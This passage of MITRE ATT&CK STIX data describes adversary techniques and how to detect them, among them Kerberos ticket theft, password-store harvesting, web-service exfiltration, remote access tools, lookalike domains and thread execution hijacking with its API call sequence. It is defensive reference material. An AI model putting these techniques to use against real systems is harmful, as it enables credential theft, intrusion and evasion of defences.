                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist"
                },
                {
                    "source_name": "ADSecurity Kerberos Ring Decoder",
                    "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020.",
                    "url": "https://adsecurity.org/?p=227"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:25.352Z",
            "name": "Steal or Forge Kerberos Tickets",
            "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tim (Wadhwa-)Brown",
                "Cody Thomas, SpecterOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing\u00a0<code>secrets.ldb</code> and <code>.secrets.mkey</code> located in <code>/var/lib/sss/secrets/</code>.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Logon Session: Logon Session Metadata",
                "Active Directory: Active Directory Credential Request",
                "File: File Access"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "created": "2020-02-11T18:48:28.456Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555",
                    "external_id": "T1555"
                },
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:12:11.343Z",
            "name": "Credentials from Password Stores",
            "description": "Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password  or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "IaaS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution",
                "Process: Process Access",
                "Cloud Service: Cloud Service Enumeration",
                "Process: Process Creation",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807",
            "created": "2020-03-09T12:51:45.570Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1567",
                    "external_id": "T1567"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:25.560Z",
            "name": "Exfiltration Over Web Service",
            "description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Office Suite",
                "SaaS",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Flow",
                "File: File Access",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1219",
                    "external_id": "T1219"
                },
                {
                    "source_name": "CrowdStrike 2015 Global Threat Report",
                    "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf"
                },
                {
                    "source_name": "CrySyS Blog TeamSpy",
                    "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.",
                    "url": "https://blog.crysys.hu/2013/03/teamspy/"
                },
                {
                    "source_name": "Google Chrome Remote Desktop",
                    "description": "Google. (n.d.). Retrieved March 14, 2024.",
                    "url": "https://support.google.com/chrome/answer/1649523"
                },
                {
                    "source_name": "Chrome Remote Desktop",
                    "description": "Huntress. (n.d.). Retrieved March 14, 2024.",
                    "url": "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
                },
                {
                    "source_name": "Symantec Living off the Land",
                    "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.",
                    "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:25.651Z",
            "name": "Remote Access Tools",
            "description": "An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nRemote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.\n\nInstallation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome\u2019s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matt Kelly, @breakersall",
                "Zachary Stanford, @svch0st",
                "Dray Agha, @Purp1eW0lf, Huntress Labs"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "3.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Drive: Drive Creation",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3",
            "created": "2020-09-30T17:09:31.878Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/001",
                    "external_id": "T1583.001"
                },
                {
                    "source_name": "URI Unique",
                    "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
                    "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
                },
                {
                    "source_name": "PaypalScam",
                    "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.",
                    "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"
                },
                {
                    "source_name": "CISA IDN ST05-016",
                    "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016"
                },
                {
                    "source_name": "CISA MSS Sep 2020",
                    "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a"
                },
                {
                    "source_name": "bypass_webproxy_filtering",
                    "description": "Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019.",
                    "url": "https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/"
                },
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "source_name": "Invictus IR DangerDev 2024",
                    "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
                    "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
                },
                {
                    "source_name": "Domain_Steal_CC",
                    "description": "Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it\u2019s Now Stealing Credit Cards. Retrieved September 20, 2019.",
                    "url": "https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/"
                },
                {
                    "source_name": "tt_obliqueRAT",
                    "description": "Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022.",
                    "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"
                },
                {
                    "source_name": "tt_httrack_fake_domains",
                    "description": "Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Categorisation_not_boundary",
                    "description": "MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019.",
                    "url": "https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/"
                },
                {
                    "source_name": "URI",
                    "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
                    "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
                },
                {
                    "source_name": "Redirectors_Domain_Fronting",
                    "description": "Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022.",
                    "url": "https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/"
                },
                {
                    "source_name": "URI Use",
                    "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
                    "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
                },
                {
                    "source_name": "iOS URL Scheme",
                    "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
                    "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
                },
                {
                    "source_name": "lazgroup_idn_phishing",
                    "description": "RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.",
                    "url": "https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/"
                },
                {
                    "source_name": "httrack_unhcr",
                    "description": "RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.",
                    "url": "https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:23:15.751Z",
            "name": "Domains",
            "description": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor\u2019s choosing.(Citation: Invictus IR DangerDev 2024)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Wes Hurd",
                "Vinayak Wadhwa, Lucideus",
                "Deloitte Threat Library Team",
                "Oleg Kolesnikov, Securonix",
                "Menachem Goldstein",
                "Nikola Kovac"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Domain Name: Passive DNS",
                "Domain Name: Domain Registration",
                "Domain Name: Active DNS"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "created": "2020-02-20T21:08:52.529Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1560/002",
                    "external_id": "T1560.002"
                },
                {
                    "source_name": "libzip",
                    "description": "D. Baron, T. Klausner. (2020). libzip. Retrieved February 20, 2020.",
                    "url": "https://libzip.org/"
                },
                {
                    "source_name": "Zlib Github",
                    "description": "madler. (2017). zlib. Retrieved February 20, 2020.",
                    "url": "https://github.com/madler/zlib"
                },
                {
                    "source_name": "PyPI RAR",
                    "description": "mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.",
                    "url": "https://pypi.org/project/rarfile/"
                },
                {
                    "source_name": "Wikipedia File Header Signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:51:09.003Z",
            "name": "Archive via Library",
            "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Script: Script Execution",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6",
            "created": "2020-01-14T01:28:32.166Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/003",
                    "external_id": "T1055.003"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:28.558Z",
            "name": "Thread Execution Hijacking",
            "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.  \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Modification",
                "Process: Process Access"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
            "created": "2017-05-31T21:31:01.315Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1079",
                    "external_id": "T1079"
                },
                {
                    "source_name": "SANS Decrypting SSL",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
                },
                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
                },
                {
                    "source_name": "Fidelis DarkComet",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:26.824Z",
            "name": "Multilayer Encryption",
            "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
